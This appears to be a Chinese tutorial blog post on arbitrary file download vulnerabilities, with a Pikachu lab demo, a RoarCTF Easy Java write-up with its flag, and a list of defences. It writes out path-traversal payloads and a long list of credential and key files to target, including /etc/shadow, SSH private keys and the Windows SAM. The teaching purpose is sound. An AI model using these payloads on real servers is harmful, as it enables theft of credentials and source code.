文件下载漏洞
原理
任意漏洞下载是因为一般的网站提供了下载文件功能,但是在获得文件到下载文件的时候并没有进行一些过滤,这就导致了漏洞的产生。
网站下载地址类似 https://www.test.com/upload/xiazai.php?file=/wenjian/123.doc格式网站有可能存在,因为文件名是作为一个参数传入的。如果下载地址是 http://www.test.com/upload/wenjian/123.doc格式,不带参数传入文件名的则不存在文件下载漏洞
区别
文件被解析--文件包含漏洞
显示源代码--文件读取漏洞
提示文件下载--文件下载漏洞
pikachu演示
1随便下载一个图片,分析一下下载链接
【http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename=ns.png】
【http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename=rayal.png】
很明显filename参数这里存在文件下载漏洞,接下来可以使用御剑等工具进行探针,看一看存在哪些敏感文件,构造我们所需要的下载链接
构造链接的方法:1使用工具爬行–御剑、铸剑等 2下载好的文件代码中去分析路径和文件包含
举例:config.php配置文件—>得到数据库密码—>连接数据库
http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename-../../inc/function.php
下载成功
常见文件路径
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
...
Linux:
/etc/passwd #查看用户文件
/etc/shadow #查看密码文件
/etc/my.cnf
/etc/httpd/conf/httpd.conf #查看apache的配置文件
/root/.bash_history #查看历史命令
/root/.mysql_history #mysql历史命令记录文件
/var/lib/mlocate/mlocate.db #本地所有文件信息
/etc/ssh/sshd_config #ssh配置文件,如果对外开放可看到端口
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
程序的配置文件
apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
redis:
/etc/redis.conf
index.php?f=../../../../../../etc/passwd
防御手段
1:净化数据:对用户传过来的文件名参数进行统一编码,对文件类型进行白名单控制,对包含恶意字符或者空字符的参数进行拒绝。
过滤.(点),使用户在url中不能回溯上级目录 正则严格判断用户输入参数的格式
2:要下载的文件地址保存至数据库中。
3:文件路径保存至数据库,让用户提交文件对应ID下载文件。
4:用户下载文件之前需要进行权限判断。
5:文件放在web无法直接访问的目录下。
6:不允许提供目录遍历服务。
7:公开文件可放置在web应用程序下载目录中通过链接进行下载
8:php.ini配置open_basedir限定文件访问范围
CTF真题复现
buu [RoarCTF 2019]Easy Java
题目地址:http://e46c7bc8-5ac2-4ca4-ac88-1ef3a2888e73.node4.buuoj.cn:81/
1点击一下help
这里对WEB-INF进行一个简单的了解。
WEB-INF是java的WEB应用的安全目录。
1.WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
2.WEB-INF/classes:包含了站点所有用的class文件,包括servlet class和非servlet class
3.WEB-INF/lib:存放web应用需要的JAR文件
4.WEB-INF/src:源码目录,按照包名结构放置各个java文件
5.WEB-INF/database.properties:数据库配置文件
6.WEB-INF/tags:存放了自定义标签文件
7.WEB-INF/jsp:jsp 1.2 一下版本的文件存放位置。
8.WEB-INF/jsp2:存放jsp2.0以下版本的文件。
9.META-INF:相当于一个信息包。
漏洞成因
通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。
漏洞检测以及利用方法
通过找到web.xml文件,推断class文件的路径,最后得到class文件,再通过反编译class文件,得到网站源码。
找web.xml:直接请求/WEB-INF/web.xml或者更换为POST请求
2这里使用post请求:
http://93afad24-6b0b-4cc4-85ac-b07a8275c6c9.node4.buuoj.cn:81/Download
POST:
filename=/WEB-INF/web.xml
成功下载
3得到文件,里面有FlagController
4构造请求文章来源:https://www.toymoban.com/news/detail-483865.html
http://93afad24-6b0b-4cc4-85ac-b07a8275c6c9.node4.buuoj.cn:81/Download
POST:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
5得到文件,里面有一段base64编码,解码得到flag{557e9214-8a40-4741-af00-682ff0a62fbf}
文章来源地址https://www.toymoban.com/news/detail-483865.html
到了这里,关于文件下载漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!